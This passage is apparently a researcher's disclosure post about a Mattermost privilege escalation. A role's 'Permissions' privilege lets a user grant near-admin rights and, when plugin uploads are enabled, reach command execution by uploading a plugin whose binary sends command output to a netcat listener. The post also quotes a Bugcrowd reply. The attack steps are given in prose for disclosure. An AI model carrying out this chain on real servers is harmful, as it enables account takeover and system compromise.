environment_developer","sysconsole_write_environment_elasticsearch","sysconsole_write_environment_file_storage","sysconsole_write_environment_high_availability","sysconsole_write_environment_image_proxy","sysconsole_write_environment_logging","sysconsole_write_environment_performance_monitoring","sysconsole_write_environment_push_notification_server","sysconsole_write_environment_rate_limiting","sysconsole_write_environment_session_lengths","sysconsole_write_environment_smtp","sysconsole_write_environment_web_server","sysconsole_write_experimental_bleve","sysconsole_write_experimental_feature_flags","sysconsole_write_experimental_features","sysconsole_write_integrations_bot_accounts","sysconsole_write_integrations_cors","sysconsole_write_integrations_gif","sysconsole_write_integrations_integration_management","sysconsole_write_plugins","sysconsole_write_products_boards","sysconsole_write_reporting_server_logs","sysconsole_write_reporting_site_statistics","sysconsole_write_reporting_team_statistics","sysconsole_write_site_announcement_banner","sysconsole_write_site_customization","sysconsole_write_site_emoji","sysconsole_write_site_file_sharing_and_downloads","sysconsole_write_site_ip_filters","sysconsole_write_site_localization","sysconsole_write_site_notices","sysconsole_write_site_notifications","sysconsole_write_site_posts","sysconsole_write_site_public_links","sysconsole_write_site_users_and_teams","sysconsole_write_user_management_channels","sysconsole_write_user_management_groups","sysconsole_write_user_management_permissions","sysconsole_write_user_management_teams","sysconsole_write_user_management_users","test_elasticsearch","test_email","test_ldap","test_s3","test_site_url","upload_file","use_channel_mentions","use_group_mentions","use_slash_commands","view_members","view_team"],"scheme_managed":true,"built_in":true}
The following image shows that a user with the System Manager role cannot access certain functionalities, including user administration, as these permissions are not granted by default.
After modifying the permissions, users with the System Manager role (and all users) can access almost all functionalities, including user management, as shown in the following images.
The “Permissions” privilege in the UI may seem harmless, as it is meant for managing team, group, and channel permissions — not server configurations. A Mattermost system administrator might grant this privilege thinking it’s safe, but as shown in the PoC, it can be exploited for privilege escalation.
While I couldn’t assign the system_admin role to my user, the escalation allows performing nearly all system admin actions, except changing system admin roles, resetting their passwords, or deleting them. However, it does allow:
Deleting all other usersAccessing compliance dataDisable MFA for all usersAchieving remote command execution if plugin uploads are enabled in the config file.Etc…Below is the response from the Bugcrowd team stating that the Mattermost team marked this issue as a Business Acceptable Risk.
Hi jebi,
Thank you for your submission. Unfortunately, we have received this report from another researcher. Therefore, it is considered a duplicate issue. Your effort is appreciated and we hope that you will continue to research and submit any future security issues you find.
Note: The customer team previously reviewed this issue and confirmed that this is a Business Acceptable Risk and working as intended. This is why the original submission was marked as Not applicable.
We had once again checked with the customer about this submission and they have confirmed the same. The assigning of permissions which cannot be assigned via GUI is by design and the given roles have permissions to do so.
If this is a paid program, points for this submission will be awarded when the submission that you’re duplicated against moves to a final state, if the priority is P1 or P2. If that submission is marked as not applicable, or this submission is in a VDP (unpaid) program, then no points will be awarded as these aren't awarded on submissions of this state.Bonus command execution:
However, the documentation does not mention this risk anywhere:
In fact, the API documentation lists several endpoints as requiring the “manage_system” permission, but this is incorrect. For instance, the upload plugin endpoint.
Many people know that I often joke that if a vulnerability doesn’t allow remote command execution (RCE), it’s not worth reporting (Sin RCE NO HAY GLORIA).
Jokes aside, this vulnerability can lead to command execution if the Mattermost instance is self-hosted and plugin uploads are enabled in the configuration file.
To demonstrate, I modified the demo plugin provided by Mattermost. Here’s the process:
Decompress the plugin.Replace the init binary with one that executes whoami, uname -a, and ls -lah commands, sending the output to a netcat listener.Recompress the plugin, upload it, and enable it.Once the plugin is uploaded, the Enable Plugin button doesn’t appear in the UI because the user doesn’t have the manage_system permission.
Remember, this is a business accepted risk, and the user I used to exploit the privilege escalation can always just use the API to enable the plugin — because who needs UI buttons when you have direct access, right?
Boom! The results are now received in my netcat listener.
I acknowledge that this issue was reported 20 days before mine. However, I don’t think it’s acceptable to classify it as an “accepted business risk.” This post is to inform Mattermost users and customers about the vulnerability, so they can take necessary precautions and stay informed about how “Permissions” work in Mattermost — don’t just trust the documentation.